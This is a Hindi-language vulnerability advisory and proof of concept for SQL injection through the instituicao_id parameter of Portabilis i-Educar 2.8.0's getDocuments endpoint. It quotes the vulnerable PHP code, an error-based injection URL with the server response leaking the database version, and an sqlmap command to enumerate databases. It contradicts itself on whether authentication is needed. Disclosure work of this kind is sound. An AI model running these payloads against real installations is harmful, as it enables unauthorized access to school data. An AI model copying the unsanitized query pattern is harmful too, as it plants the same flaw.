
Portabilis i-Educar 2.8.0 में SQL इंजेक्शन के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो getDocuments एंडपॉइंट के माध्यम से अप्रमाणित डेटाबेस एक्सेस और SQLMap का उपयोग करके स्वचालित शोषण प्रदर्शित करता है।
विवरण: एक प्रमाणित उपयोगकर्ता
InstituicaoDocumentacaoControllerवर्ग केgetDocumentsफ़ंक्शन में SQL इंजेक्शन भेद्यता का दुरुपयोग कर सकता है।/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_idमेंinstituicao_idपैरामीटर ठीक से स्वच्छ नहीं किया गया है, जिससे एक प्रमाणित दूरस्थ हमलावर को दुर्भावनापूर्ण SQL कमांड इंजेक्ट करने की अनुमति मिलती है।
संस्करण: Portabilis i-Educar 2.8.0 में खोजा गया।
समस्या InstituicaoDocumentacaoController वर्ग के getDocuments फ़ंक्शन में मौजूद है, जिसे निम्नलिखित एंडपॉइंट के माध्यम से ट्रिगर किया जा सकता है:
class InstituicaoDocumentacaoController extends ApiCoreController
{
protected function insertDocuments()
{
$var1 = $this->getRequest()->instituicao_id;
$var2 = $this->getRequest()->titulo_documento;
$var3 = $this->getRequest()->url_documento;
$var4 = $this->getRequest()->ref_usuario_cad;
$var5 = $this->getRequest()->ref_cod_escola;
$sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
$this->fetchPreparedQuery($sql);
$sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
$novoId = $this->fetchPreparedQuery($sql);
return ['id' => $novoId[0][0]];
}
protected function getDocuments()
{
$var1 = $this->getRequest()->instituicao_id;
$sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
$instituicao = $this->fetchPreparedQuery($sql);
$attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
$instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
return ['documentos' => $instituicao];
}
}
instituicao_id पैरामीटर का उपयोग SQL क्वेरी में सीधे बिना उचित स्वच्छता या पैरामीटराइजेशन के किया जाता है। यह हमलावरों को SQL कमांड इंजेक्ट करने के लिए दुर्भावनापूर्ण HTTP अनुरोध भेजने की अनुमति देता है, जिससे डेटाबेस तक अनधिकृत पहुंच या डेटा में हेरफेर हो सकता है।
/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1{
"oper": "get",
"resource": "getDocuments",
"msgs": [
{
"msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
"type": "error"
}
],
"any_error_msg": true
}
sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5